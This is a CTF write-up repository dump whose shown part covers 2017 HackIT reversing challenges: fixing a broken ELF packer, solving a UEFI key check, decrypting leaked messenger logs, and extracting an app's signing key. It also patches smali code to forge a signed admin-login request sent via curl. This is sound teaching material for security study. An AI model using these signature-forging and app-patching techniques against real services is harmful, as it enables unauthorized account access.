├── 2017 ├── HackIT-rev150.md ├── HackIT-rev200.md ├── HackIT-rev250.md ├── HackIT-rev300.md └── files │ ├── rev150 │ ├── packed │ ├── packed_unpacked │ └── packer │ ├── rev200 │ ├── rev200.efi │ └── solve.py │ ├── rev250 │ ├── SrcCleaned │ │ └── securemessenger │ │ │ ├── ECKey.java │ │ │ ├── EncryptedSession.java │ │ │ ├── GetMessageReceiver.java │ │ │ ├── Logger.java │ │ │ ├── Main.java │ │ │ ├── Participant.java │ │ │ ├── Path.java │ │ │ ├── PublicKeyStorage.java │ │ │ ├── temp.cs │ │ │ └── xy │ │ │ ├── PositionMetric.java │ │ │ ├── PositionMetric.java.obf │ │ │ ├── XYGraphWidget.java │ │ │ ├── XYGraphWidget.java.obf │ │ │ ├── a.java │ │ │ └── a.java.obf │ ├── messenger_emulator.apk │ └── src_deguard.zip │ └── rev300 │ └── api_client_apk.apk ├── 2018 ├── RealWorldCTF2018_Finals │ └── RMI │ │ ├── CommonsCollections.PNG │ │ ├── Main.java │ │ ├── PoC.PNG │ │ ├── README.md │ │ ├── Rejected.PNG │ │ └── hello-rmi-server.jar ├── csaw 2018 quals │ └── 1337 │ │ ├── README.md │ │ ├── call.png │ │ ├── calleax.png │ │ ├── consoleread.png │ │ ├── ebxtrace.png │ │ ├── flag.png │ │ ├── goodflag.png │ │ ├── match.png │ │ ├── memcmp1.png │ │ ├── memcmp2.png │ │ ├── obfuscation.png │ │ ├── pseudocodehash.png │ │ └── return.png └── ructfe │ └── vch │ ├── README.md │ └── solve.py ├── 2019 └── midnightsunctf │ ├── bigspin │ └── bigspin.md │ ├── cloudb │ ├── cloudb.md │ └── exploit.py │ ├── dr-evil │ ├── dr-evil.md │ └── exploit.py │ ├── ezdsa │ └── ezdsa.md │ ├── hfs-vm │ ├── exploit.py │ └── hfs-vm.md │ ├── hfsdos │ └── hfsdos.md │ ├── hfsipc │ ├── exploit.c │ └── hfsipc.md │ ├── hfsmbr │ └── hfsmbr.md │ ├── marcodowno │ └── marcodowno.md │ ├── marcozuckerbergo │ └── marcozuckerbergo.md │ ├── measurement │ ├── aes.png │ ├── measurement.md │ ├── qscat-attack.png │ ├── qscat.png │ ├── trace-detail.png │ ├── trace-overview.png │ └── uart.png │ ├── open-gyckel-krypto │ └── open-gyckel-krypto.md │ ├── pgp-com │ └── pgp-com.md │ ├── rubenscube │ ├── exploit.php │ ├── exploit.xml │ ├── rubenscube.md │ └── script.sh │ └── tulpan257 │ └── writeup.md ├── 2020 ├── hxpctf │ ├── README.md │ └── wisdom2 │ │ ├── exploit.c │ │ └── writeup.md └── twctf │ ├── README.md │ ├── angular_of_the_universe │ └── writeup.md │ ├── apple │ ├── solve.py │ └── writeup.md │ ├── bfnote │ └── writeup.md │ ├── birds │ └── birds.md │ ├── blind-shot │ ├── blind-shot.md │ ├── blindshot │ └── script.py │ ├── does_linux_dream_of_windows │ └── writeup.md │ ├── easy-hash │ └── writeup.md │ ├── il │ ├── exploit.py │ ├── il.md │ └── ilstub-cpy.dll │ ├── mask │ ├── mask.md │ └── mask.py │ ├── nono │ ├── layout.ods │ ├── layout.png │ ├── layout.svg │ ├── nono │ ├── nono.md │ └── script.py │ ├── nothing-more-to-say-2020 │ └── Solution.md │ ├── rsa │ ├── rsa │ └── rsa.md │ ├── sqrt │ ├── chall.py │ ├── output.txt │ ├── solve.sage │ └── writeup.md │ ├── tamarin │ └── tamarin.md │ ├── the_melancholy_of_alice │ ├── ciphertext.txt │ ├── encrypt.py │ ├── publickey.txt │ ├── solve.py │ └── writeup.md │ ├── twin-d │ ├── output │ ├── task.rb │ └── twin-d.md │ ├── urlcheck.md │ └── xor-shift-enc │ ├── .gitignore │ ├── gen.py │ ├── multiply_and_check.sage │ ├── solve.sage │ └── xor-shift-enc.md ├── .gitignore └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /2017/HackIT-rev150.md: -------------------------------------------------------------------------------- 1 | # Rev150 - Broken Packer 2 | 3 | **Description:** Looks like this packer can not unpack what has been packed :( There are 2 mistakes in unpacking procedure. It leads to the error. Try to fix unpacker and figure out what is inside. 4 | 5 | We had two ELF binaries, a packer and a packed file. 6 | ``` 7 | user@ubuntu:~/Schreibtisch/ITCTF$ file packer 8 | packer: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=83a5497803c94765ad5b256de346473b64f36459, not stripped 9 | 10 | user@ubuntu:~/Schreibtisch/ITCTF$ file packed 11 | packed: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=cdc378f63011a71a8d0f096c6435765db04cbc0c, not stripped 12 | ``` 13 | Lets take a look at the packer routines first and fire up IDA. I'm not that used to the ELF headers, so I might miss some parts here... The packer basically preforms this actions: 14 | * Create a random key 15 | * XOR all the executable code with the key 16 | * Add a section with asm to decrypt the encrypted code 17 | * Store the start of the executable code, end of the executable code and the XOR key in the file 18 | * Change the EntryPoint to the new EP in the generated section 19 | 20 | In *disguise_text()* we find: 21 | ``` 22 | key = get_random_key(); 23 | for ( i = 0LL; i < v5; ++i ) 24 | { 25 | *(_BYTE *)(startOfCode + i) ^= key; 26 | v3 = rotate_right(v3); // = __ROR8__(v7, 8); 27 | } 28 | ``` 29 | The code injected in *create_section()* though looks like this (entry_loader): 30 | ``` 31 | v4 = info_addr; 32 | v5 = info_start; 33 | do 34 | { 35 | *(_BYTE *)v5 ^= v5; 36 | v5 = __ROR8__(v5, 8); 37 | v4 += 2LL; 38 | } 39 | while ( v4 != info_addr + info_size ); 40 | ``` 41 | Acctually two things fail here: 42 | * The loader adds +=2 to the offset index, not 1 as intented 43 | * The pointer to the encrypted segment is wrong (turns out to be wrong register) 44 | 45 | If you look at in the actual packed file we notice the 3 stored values first: 46 | ``` 47 | seg023:00000000006B54A4 qword_6B54A4 dq 49A4E28A75143878h => XOR KEY 48 | seg023:00000000006B54AC off_6B54AC dq offset sub_4003B0 => Start of executable code 49 | seg023:00000000006B54B4 qword_6B54B4 dq 88C17h => Length of executable code 50 | ``` 51 | So lets fix the assembly code in the packed file: 52 | ``` 53 | mov rax, cs:off_6B54AC => start of code 54 | [...] 55 | xor [rdx], dl => Change to [rax],dl 56 | ror rdx, 8 57 | add rax, 2 => Change to 1 58 | cmp rax, rcx 59 | jnz short loc_6B5489 60 | [...] 61 | jmp near ptr qword_400990 => JMP OEP 62 | ``` 63 | Patch the file and let the encryption run, dump the process and/or apply the encryption by hand. No matter what you get the decrypted code stored in the packed assembly. Save the file and apply a simple JMP OEP at the start. 64 | 65 | When starting the patched, unpacked binary we get a nice text: 66 | ```The hardest part is overcome.``` 67 | But still the programm crashes immediatly with an invalid write operation from 0x00 memory right after this output. Wierd, it took me a while to figure out whats going on. Take a look at the callstack and see what function called the crashing function: 68 | ``` 69 | gdb-peda$ bt 70 | #0 0x000000000042194a in ?? () 71 | #1 0x0000000000400bde in ?? () 72 | ``` 73 | ``` 74 | .text:0000000000400BB8 lea rdi, aTheHardestPart ; "The hardest part is overcome." 75 | .text:0000000000400BBF call sub_407FC0 => print string 76 | .text:0000000000400BC4 mov rax, [rbp+var_10] 77 | .text:0000000000400BC8 add rax, 8 78 | .text:0000000000400BCC mov rax, [rax] 79 | .text:0000000000400BCF lea rsi, aCryp ; "cryp" 80 | .text:0000000000400BD6 mov rdi, rax 81 | .text:0000000000400BD9 call sub_400370 => encryption function ?? 82 | .text:0000000000400BDE test eax, eax 83 | .text:0000000000400BE0 jnz short loc_400BF5 84 | .text:0000000000400BE2 mov rax, [rbp+var_10] 85 | .text:0000000000400BE6 add rax, 10h 86 | .text:0000000000400BEA mov rax, [rax] 87 | .text:0000000000400BED mov rdi, rax 88 | .text:0000000000400BF0 call sub_400AAE 89 | .text:0000000000400BF5 90 | .text:0000000000400BF5 loc_400BF5: ; CODE XREF: sub_400BA9+37j 91 | .text:0000000000400BF5 mov rax, [rbp+var_10] 92 | .text:0000000000400BF9 add rax, 8 93 | .text:0000000000400BFD mov rax, [rax] 94 | .text:0000000000400C00 lea rsi, aDecr ; "decr" 95 | .text:0000000000400C07 mov rdi, rax 96 | .text:0000000000400C0A call sub_400370 => decryption function ?? 97 | .text:0000000000400C11 jnz short loc_400C18 98 | .text:0000000000400C13 call sub_400B39 => XOR Function 99 | ``` 100 | Looks like some crypting and decrypting is going on. Lets call the program with arguments "cryp" or "decr". With "decr" as argument the program exits normally, so lets break after the "decrypt" function. It turns out that its not interesting, the next function is tough! It performs some XOR on a string: 101 | ``` 102 | for ( i = (signed int)result; i >= 0; --i ) 103 | { 104 | result = aXEIBNuuDcMP_no; 105 | aXEIBNuuDcMP_no[i] ^= aXEIBNuuDcMP_no[v1 - 1 - i] ^ 0x80; 106 | } 107 | ``` 108 | Looking at the registers after the function was executed, the flag was in RDI (it was deleted from RAX intentionally before the function was left ). 109 | 110 | Flag: h4ck1t{mor0ns_rel1es_on_p4ck3r5_vari0rs_d03sn0t} -------------------------------------------------------------------------------- /2017/HackIT-rev200.md: -------------------------------------------------------------------------------- 1 | # Rev200 2 | 3 | **Description:** You haxor, come on you little sciddie... debug me, eh? You fucking little lamer... You fuckin' come on, come debug me! I'll get your ass, you jerk! Oh, you IDA monkey! Fuck all you and your tools! Come on, you scum haxor, you try to reverse me? Come on, you asshole!! 4 | 5 | First of all: The task wasn't even worth 50 points and was solved in 3 min. As a little sciddie i used IDA to decompile the checking algo (algo()): 6 | ``` 7 | for ( i = 0; i <= 19; ++i ) 8 | v4[i] = *(_BYTE *)(i + a1); 9 | for ( j = 20; j <= 39; ++j ) 10 | v3[j - 20] = *(_BYTE *)(j + a1); 11 | for ( k = 0; k <= 19; ++k ) 12 | { 13 | v4[k] = (((((v4[k] ^ 0xC) + 6) ^ 0xD) + 7) ^ 0xE) + 8; 14 | v3[k] = (((((v3[k] ^ 0xF) + 9) ^ 0x10) + 10) ^ 0x11) + 11; 15 | } 16 | for ( l = 0; l <= 19; ++l ) 17 | v2[l] = v4[l]; 18 | for ( m = 20; m <= 39; ++m ) 19 | v2[m] = v3[m - 20]; 20 | if ( memcmp((__int64)v2, (__int64)&correct, 160) ) 21 | result = Print(L"\nWrong\n"); 22 | else 23 | result = Print(L"\nCorrect\n"); 24 | return result; 25 | ``` 26 | Wow, static XOR on a each single byte that is compared to some static memory. 27 | 28 | Simple python solution: 29 | ``` 30 | # Solution for rev200 31 | correct = [104, 60, 121, 113, 99, 124, 129, 146, 146, 101, 101, 147, 146, 73, 121, 146, 56, 108, 60, 111, 123, 135, 88, 85, 137, 90, 89, 126, 126, 107, 135, 108, 87, 108, 107, 88, 89, 90, 90, 111]; 32 | correctS = ""; 33 | 34 | for x in range(20): 35 | for i in range(256): 36 | if ((((((i ^ 0xC) + 6) ^ 0xD) + 7) ^ 0xE) + 8) == correct[x]: 37 | correctS += chr(i) 38 | 39 | for x in range(20): 40 | for i in range(256): 41 | if (((((i ^ 0xF) + 9) ^ 0x10) + 10) ^ 0x11) + 11 == correct[x+20]: 42 | correctS += chr(i) 43 | 44 | print correctS 45 | ``` 46 | 47 | Flag: h4ck1t{ff77af3cf8d4e1e67c4300aeb5ba6344} 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /2017/HackIT-rev250.md: -------------------------------------------------------------------------------- 1 | # Rev250 - Secure Messenger 2 | 3 | **Description:** Messengers are more secure nowadays. But what if they logging too much? 4 | 5 | Ok it gets more interesting, only 7 teams solved this one. We had given an APK and two log files of the application, one logfile of Alice and one logfile of Bob. They basically looked like this: 6 | 7 | ``` 8 | alice/session/est/base/0624fb0d82deaa7ca92f9e2b72d48b4c07011c46dad736f6d3c7f220cda1d32b 9 | alice/session/est 10 | alice/session/ephemeral/shared/001f29a3fd9bbf63e788fb6f39570b32ca6fa518b681b1ccaa8df0f0835b8f1d 11 | alice/session/est/base/0624fb0d82deaa7ca92f9e2b72d48b4c07011c46dad736f6d3c7f220cda1d32b 12 | alice/session/ephemeral/shared/d5bb4b7f1ad9f4a20f2c9f8fb0f63a00cabffa81165b10fe4e171d8e405eb37d 13 | alice/session/est/base/0624fb0d82deaa7ca92f9e2b72d48b4c07011c46dad736f6d3c7f220cda1d32b 14 | alice/session/ephemeral/shared/f5f7943a624467724c155ed41573d5ba1f0032fcfe2676b6ed66b8f772646f07 15 | alice/session/ephemeral/prekey/requested/public/[2094329238 : 77a759a63c9abc1f51be05cc971f7e5fa09949cda7062451ee55bdd05540a44c] 16 | alice/session/ephemeral/prekey/requested/private/6074af859b089f844e01c7c1c35a1ad174ea39dd39c0ce73981a57e3d20a6a70 17 | alice/msg/rcv/bob/enc/6312d8951609e19c54ca2f3db86b6961 -> [1] 18 | alice/session/est/base/0624fb0d82deaa7ca92f9e2b72d48b4c07011c46dad736f6d3c7f220cda1d32b 19 | alice/session/ephemeral/prekey/requested/public/[1869677971 : e6eed22b5f5fa59de8d8e0b736bfd572f2d49952ccff07b2aaeefb7271141d77] 20 | alice/session/ephemeral/prekey/requested/private/68783b882f3463a512b11a6bab3bfb87aeeef749357d4bfa8b6a656857d0b873 21 | alice/msg/rcv/bob/enc/eee70b4f327fe0a2faa9944c360210ab -> [2] 22 | [...] 23 | ``` 24 | 25 | We can see that some information is leaked, like a private and public key and some "shared" key. 26 | 27 | Anyways, start Android decompiling as always: Get the jar via dex2jar and extract the apk with apktool as well. Dex2Jar isn't reliable at all and we have to use the smali code later to figure out invalid Java code. I also ran the apk trough [DeGuard](http://apk-deguard.com/) to resolve some of the obfuscated class names (the tool's not very good at it, but sometimes you get an idea what the class might be). 28 | 29 | Anyway, hands on the decompiled sources! They are acctually pretty confusing, so I did some renaming at first. The 3 main classes are: 30 | * Participant => Acts as one person in the encrypted conversation and holds its own public/private keypair. Also stores the encrypted session to other participants 31 | * EncryptedSession => Encrypts and decrypts messages with a participant using a agreement on Curve25519 and AES with SHA256HMAC 32 | * ECKey => An encrypted message with some public key, private key and seed value 33 | 34 | Lets trace the log file calls and assume the client's view is "Alice" (it acctually is! :D). "session/est/base/" is logged when a new EncryptedSession to a participant you havn't talked to yet is established. The value logged is the Curve25519 Agreement based on the public key of "Bob" and our own private key of "Alice". This agreement is used for all encryption later on, so it remains the same (and shows up quite often in the log). 35 | 36 | "ephemeral/shared/" is used when a message encryption from Alice to Bob happens. Its again an agreement via Curve25519 and public/private key. But this time a new keypair for this message is generated, lets call it KP_MSG. In the encrypt function another keypair is generated, lets call this KP_ENC. The agreement is performed on the public key KP_MSG and private key KP_ENC, this agreement is logged again. KP_MSG is logged as well (requested/public/ and requested/private). 37 | 38 | The last logtype is "msg/rcv/" which logs the message ID. 39 | 40 | Man so, many key pairs and agreements. And some of the keys are leaked, but the leakage of all the public/private keys is actually a false flag. 41 | 42 | Lets take a close look to the encryption function: 43 | ``` 44 | public ECKey encryptData(StringStorage paramStringStorage, PublicKeyStorage paramPublicKeyStorage) 45 | { 46 | Curve25519 curve25519Obj = Curve25519.get("best"); 47 | Curve25519KeyPair localCurve25519KeyPair = curve25519Obj.generateKeyPair(); 48 | byte[] agreement = ((Curve25519)curve25519Obj).calculateAgreement(paramPublicKeyStorage.getMSGPubKey(), localCurve25519KeyPair.getPrivateKey()); 49 | Logger.add(participant1.username + "/session/ephemeral/shared/", arrayOfByte); 50 | shiftCounter += 1L; 51 | byte[] keyBytes = sha256Hmac(getIVShifted(shiftCounter), "WhisperSystems".getBytes(), 16); 52 | byte[] ivBytes = sha256Hmac(agreement, "WhisperSystems".getBytes(), 16); 53 | Cipher localCipher = getCipherInstance(); 54 | localCipher.init(1, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(ivBytes)); 55 | return new ECKey(localCipher.doFinal(paramStringStorage.getStoredValue().getBytes()), shiftCounter, paramPublicKeyStorage.getSeed(), localCurve25519KeyPair.getPublicKey()); 56 | } 57 | ``` 58 | So, we aim for a AES decrypt. What we need is: 59 | * IV 60 | * Key 61 | * Encrypted data (obviously, but its in the log of Bob) 62 | * MODE and Padding Method (given by AES/CBC/PKCS5Padding) 63 | 64 | The Key is build via: 65 | ``` 66 | shiftCounter += 1L; 67 | byte[] keyBytes = sha256Hmac(getIVShifted(shiftCounter), "WhisperSystems".getBytes(), 16); 68 | ``` 69 | The getIVShifted() performs some XOR and ROR Operations with the first agreement that this conversation had. Keep that in mind! But besides that pretty easy, isn't it? The IV is a little bit more complicated: 70 | ``` 71 | byte[] agreement = ((Curve25519)curve25519Obj).calculateAgreement(paramPublicKeyStorage.getMSGPubKey(), localCurve25519KeyPair.getPrivateKey()); 72 | byte[] ivBytes = sha256Hmac(agreement, "WhisperSystems".getBytes(), 16); 73 | ``` 74 | So the iv calculates from the agreement between KP_MSG and KP_ENC. We don't have those key pairs :( But what we do have is the log of the agreement after "/session/ephemeral/shared/" . So all we need for a AES decrypt is: 75 | * First agreement ever in this conversation (logged in session/est/base/) 76 | * Agreement of the current message (logged in ephemeral/shared/) 77 | * Number of the current message = shiftCounter (logged in the log of Bob) 78 | 79 | And we got all those information! So i wrote a Java program that performs the decryption. It wasn't as simple as it sounds, since the sha256Hmac-Function wasn't decompiled properly. It seems that dex2jar doesn't like abstract classes with inherited classes, maybe it was some kind of additional obfuscation. Anyway, here are the decrypted messages from Alice to Bob: 80 | ``` 81 | Hello, bobby :) 82 | What du U think about new messenger`s protocol?.. 83 | Wha..? 84 | Dant warry, I am the one who checked it. It is safe for our deal. 85 | So take it --- h4ck1t{X} 86 | X=1_b3tT3r_w1Ll_b3_u5iNg_AX0L0TL``` 87 | ``` 88 | 89 | The Java Source is attached, together with my "cleaned" decompiled sources . 90 | 91 | Flag: h4ck1t{1_b3tT3r_w1Ll_b3_u5iNg_AX0L0TL} 92 | 93 | 94 | 95 | 96 | -------------------------------------------------------------------------------- /2017/HackIT-rev300.md: -------------------------------------------------------------------------------- 1 | # Rev300 - APIServer 2 | 3 | **Description:** Client can access the API server. Try to login as an admin who is used to use the same passwords everywhere. 4 | 5 | Another APK, but harder (= native code :D). Only 4 teams in total solved this task! It looks like a simple API where you can register users and retrieve information about the API. All the messages are send via POST and signed with a signature. So far so good, lets take a sniff with Wireshark: 6 | 7 | **Register** 8 | ``` 9 | POST /api/register HTTP/1.1 10 | Content-Type: text/plain; charset=utf-8 11 | Content-Length: 102 12 | Host: 195.88.243.197:8060 13 | [...] 14 | sig_body=f8c13266314f9f7f989e3b49d0be30eac0969f24d9a0d9698a965a7efaca1a69.name%3Duser%26&sig_version=4 15 | 16 | HTTP/1.1 200 OK 17 | [...} 18 | Server: H4CK1TServer/v2017.08 19 | 20 | personal_key=h4ck1t48bb6e862e54f2a795ffc4e541caed4d 21 | ``` 22 | **Info** 23 | ``` 24 | POST /api/info HTTP/1.1 25 | [...] 26 | sig_body=b3a8db7e1ec33b1802d02610db62878c9c7337efac479e1e461ec896f6d43d2a.personal_key%3Dh4ck1t48bb6e862e54f2a795ffc4e541caed4d%26&sig_version=4 27 | 28 | HTTP/1.1 200 OK 29 | [...] 30 | Server: H4CK1TServer/v2017.08 31 | 32 | 1) method=register, params=[name : 'your name'] = personal_key 33 | 2) method=info, params=[personal_key : 'your registration key' = TEXT] 34 | 3) method=login_admin, params=[hex_password : 'My password in HEX. Im stupid admin and use a SINGLE password everywhere :)'] 35 | ``` 36 | The Android app only implements register and info. We get a big hint here: the admin uses the same password everywhere! 37 | 38 | Lets dive into reversing: The Java client has a function "buildPostArgs()" which iterates all the post parameters, concats and signs them: 39 | ``` 40 | // buildPostArgs() 41 | // str1 holds all the post args in one string 42 | byte[] arrayOfByte = MainActivity.signature(str1.getBytes()); 43 | try 44 | { 45 | Object[] arrayOfObject = new Object[2]; 46 | arrayOfObject[0] = new String(Hex.encodeHex(arrayOfByte)); 47 | arrayOfObject[1] = URLEncoder.encode(str1, "UTF-8"); 48 | String str3 = String.format("%s.%s", arrayOfObject); 49 | str2 = str3; 50 | return String.format("sig_body=%s&sig_version=4", new Object[] { str2 }); 51 | }x 52 | ``` 53 | The "signature" function is implemented via JNI, so we load the [libsignatures.so]() in IDA. 54 | ``` 55 | v3 = a1; 56 | v4 = a3; 57 | operator new[](0x20u); 58 | v5 = (*(int (__fastcall **)(int, int))(*(_DWORD *)v3 + 684))(v3, v4); 59 | v6 = v5; 60 | if ( (signed int)v5 <= -1 ) 61 | v5 = -1; 62 | v7 = operator new[](v5); 63 | (*(void (__fastcall **)(int, int, _DWORD, unsigned int))(*(_DWORD *)v3 + 800))(v3, v4, 0, v6); 64 | v8 = sub_4660(); 65 | v9 = v8; 66 | *(_DWORD *)v8 = 'kc4h'; 67 | *(_WORD *)(v8 + 4) = 't1'; 68 | v10 = (*(int (__fastcall **)(int, int))(*(_DWORD *)v3 + 684))(v3, v4); 69 | sub_485C(v7, v10, v9, 40); 70 | v11 = (*(int (__fastcall **)(int, signed int))(*(_DWORD *)v3 + 704))(v3, 32); 71 | (*(void (__fastcall **)(int, int, _DWORD, signed int))(*(_DWORD *)v3 + 832))(v3, v11, 0, 32); 72 | return v11; 73 | ``` 74 | Quite confusing, isn't it? Lets clean this mess up: 75 | ``` 76 | v3 = a1; 77 | v4 = a3; 78 | operator new[](0x20u); 79 | length = strlen(javastring) 80 | argumentString = new char[](length); 81 | v8 = copyJNIStringToCString(javastring) 82 | 83 | // Wierd function we know nothing about ! 84 | v9 = sub_4660(); 85 | 86 | v10 = v9; // Signature bytes ? 87 | *(_DWORD *)v9 = 'kc4h'; // FIll the first chars with h4ck1t 88 | *(_WORD *)(v9 + 4) = 't1'; 89 | 90 | // No idea 91 | v11 = (*(int (__fastcall **)(int, int))(*(_DWORD *)v3 + 684))(v3, v4); 92 | 93 | // Actual signing 94 | sub_485C(argumentString, v11, v10, 40); 95 | 96 | // Copy native bytes to Java Byte Array, etc... 97 | v12 = (*(int (__fastcall **)(int, signed int))(*(_DWORD *)v3 + 704))(v3, 32); 98 | (*(void (__fastcall **)(int, int, _DWORD, signed int))(*(_DWORD *)v3 + 832))(v3, v12, 0, 32); 99 | return v12; 100 | ``` 101 | A little bit better, but still no idea how the signature is produced. IDA comes with a great Android GDB server and I even rooted my phone for this challenge. After some tracing around in the library you pretty fast get lost. There are basicly two signing functions that are applied to certain memory regions with static input data and offsets. 102 | 103 | So what about this wierd sub_4660 function ? It takes no argument, altough it computes something... And it applies some XOR to a static memory string! And its used by the signature function!! Lets image a signing function as sign(inputBuffer, outputBuffer, key) , then v9 = v10 matches the key ! And the key starts with h4ck1t! It was a plain guess, but it was worth a try. So i dumped the memory of v9 after it was decrypted and stored it as hex string: 104 | 105 | ``` 106 | 6834636B31741E301EE91B1CEC1EEFEE1CE919F436F4E9E925EF261BE8ED1B29F4ED1E1C191F1B1B 107 | ``` 108 | 109 | Next I sent it in as hex string to login_admin. But the request was refused (of course) since we had no signature for this certain post parameters. Replacing the input of the signature-function via the IDA debugger didn't work, so i simply patched the smali code to sign this certain message for me: 110 | ``` 111 | const-string v1, "name" 112 | iget-object v2, p0, Lanative/hackit2017/com/apiclient/Api$1;->val$name:Ljava/lang/String; 113 | 114 | .line 18 115 | invoke-virtual {v0, v1, v2}, Lanative/hackit2017/com/apiclient/Client;->addPost(Ljava/lang/String;Ljava/lang/String;)Lanative/hackit2017/com/apiclient/Client; 116 | ``` 117 | PATCHED TO: 118 | ``` 119 | const-string v1, "hex_password" 120 | const-string v2, "6834636B31741E301EE91B1CEC1EEFEE1CE919F436F4E9E925EF261BE8ED1B29F4ED1E1C191F1B1B" 121 | 122 | .line 18 123 | invoke-virtual {v0, v1, v2}, Lanative/hackit2017/com/apiclient/Client;->addPost(Ljava/lang/String;Ljava/lang/String;)Lanative/hackit2017/com/apiclient/Client; 124 | ``` 125 | So the next time i triggered "register" on the installed and modified app, the post message was signed. Without any big hope I send it via curl and had a good laugh when it was right at the first try! 126 | ``` 127 | user@ubuntu:~/Schreibtisch/ITCTF/lab1$ curl -X POST http://195.88.243.197:8060/api/login_admin --data "sig_body=45cb847e3bafe29b044276b2c23532162c690516ea1e7e3398accb525ba41082.hex_password%3D6834636B31741E301EE91B1CEC1EEFEE1CE919F436F4E9E925EF261BE8ED1B29F4ED1E1C191F1B1B%26&sig_version=4" 128 | flag=h4ck1t{wH3n_u_trY_t0_h1d3_smTh_b3_r34dY_f0r_d1sc10sur3} 129 | ``` 130 | 131 | Flag: h4ck1t{wH3n_u_trY_t0_h1d3_smTh_b3_r34dY_f0r_d1sc10sur3} 132 | 133 | -------------------------------------------------------------------------------- /2017/files/rev150/packed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2017/files/rev150/packed -------------------------------------------------------------------------------- /2017/files/rev150/packed_unpacked: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2017/files/rev150/packed_unpacked -------------------------------------------------------------------------------- /2017/files/rev150/packer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2017/files/rev150/packer -------------------------------------------------------------------------------- /2017/files/rev200/rev200.efi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2017/files/rev200/rev200.efi -------------------------------------------------------------------------------- /2017/files/rev200/solve.py: -------------------------------------------------------------------------------- 1 | # Solution for rev200 2 | 3 | correct = [104, 60, 121, 113, 99, 124, 129, 146, 146, 101, 101, 147, 146, 73, 121, 146, 56, 108, 60, 111, 123, 135, 88, 85, 137, 90, 89, 126, 126, 107, 135, 108, 87, 108, 107, 88, 89, 90, 90, 111]; 4 | 5 | correctS = ""; 6 | 7 | for x in range(20): 8 | for i in range(256): 9 | if ((((((i ^ 0xC) + 6) ^ 0xD) + 7) ^ 0xE) + 8) == correct[x]: 10 | correctS += chr(i) 11 | 12 | for x in range(20): 13 | for i in range(256): 14 | if (((((i ^ 0xF) + 9) ^ 0x10) + 10) ^ 0x11) + 11 == correct[x+20]: 15 | correctS += chr(i) 16 | 17 | print correctS -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/ECKey.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | import org.apache.commons.math3.fraction.Participant; 4 | 5 | public class ECKey 6 | { 7 | private long currentCounter; 8 | private byte[] priv; 9 | private byte[] pub; 10 | private long seed; 11 | 12 | public ECKey(byte[] paramArrayOfByte1, long paramLong1, long paramLong2, byte[] paramArrayOfByte2) 13 | { 14 | pub = paramArrayOfByte1; 15 | currentCounter = paramLong1; 16 | seed = paramLong2; 17 | priv = paramArrayOfByte2; 18 | } 19 | 20 | public long getSeed() 21 | { 22 | return seed; 23 | } 24 | 25 | public long getCreationTimeSeconds() 26 | { 27 | return currentCounter; 28 | } 29 | 30 | public byte[] getPrivKeyBytes() 31 | { 32 | return priv; 33 | } 34 | 35 | public byte[] getPubKey() 36 | { 37 | return pub; 38 | } 39 | 40 | public String toString() 41 | { 42 | return new String(Participant.add(pub)) + " -> [" + currentCounter + "]"; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/EncryptedSession.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.IvParameterSpec; 5 | import javax.crypto.spec.SecretKeySpec; 6 | import messenger.hackit2017.helper.securemessenger.xy.a; 7 | import org.whispersystems.curve25519.Curve25519; 8 | import org.whispersystems.curve25519.Curve25519KeyPair; 9 | 10 | public class EncryptedSession 11 | { 12 | private Participant participant1; 13 | private byte[] firstAgreement; 14 | private Participant participant2; 15 | private long shiftCounter; 16 | 17 | public EncryptedSession(Participant paramParticipant1, Participant paramParticipant2, byte[] privateKey) 18 | { 19 | participant1 = paramParticipant1; 20 | participant2 = paramParticipant2; 21 | firstAgreement = Curve25519.get("best").getAgreement(paramParticipant2.getCurve25519PublicKey(), privateKey); 22 | shiftCounter = 0L; 23 | Logger.add(participant2 + "/session/est/base/", firstAgreement); 24 | } 25 | 26 | private byte[] getIVShifted(long shiftCounter) 27 | { 28 | byte[] arrayOfByte = firstAgreement; 29 | int i = 0; 30 | while (i < paramLong) 31 | { 32 | arrayOfByte = xy.a(3).a(arrayOfByte, "h4ck1t{RotationFlagInfo}".getBytes(), 32); 33 | i += 1; 34 | } 35 | return arrayOfByte; 36 | } 37 | 38 | private Cipher getCipherInstance() 39 | { 40 | return Cipher.getInstance("AES/CBC/PKCS5Padding"); 41 | } 42 | 43 | public ECKey encryptData(StringStorage paramStringStorage, PublicKeyStorage paramPublicKeyStorage) 44 | { 45 | Curve25519 curve25519Obj = Curve25519.get("best"); 46 | Curve25519KeyPair localCurve25519KeyPair = curve25519Obj.generateKeyPair(); 47 | byte[] agreement = ((Curve25519)curve25519Obj).calculateAgreement(paramPublicKeyStorage.getMSGPubKey(), localCurve25519KeyPair.getPrivateKey()); 48 | Logger.add(participant1.username + "/session/ephemeral/shared/", arrayOfByte); 49 | shiftCounter += 1L; 50 | byte[] keyBytes = sha256Hmac(getIVShifted(shiftCounter), "WhisperSystems".getBytes(), 16); 51 | arrayOfByte = sha256Hmac(agreement, "WhisperSystems".getBytes(), 16); 52 | Cipher localCipher = getCipherInstance(); 53 | localCipher.init(1, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(arrayOfByte)); 54 | // doFinal(byte[] input) 55 | return new ECKey(localCipher.doFinal(paramStringStorage.getStoredValue().getBytes()), shiftCounter, paramPublicKeyStorage.getSeed(), 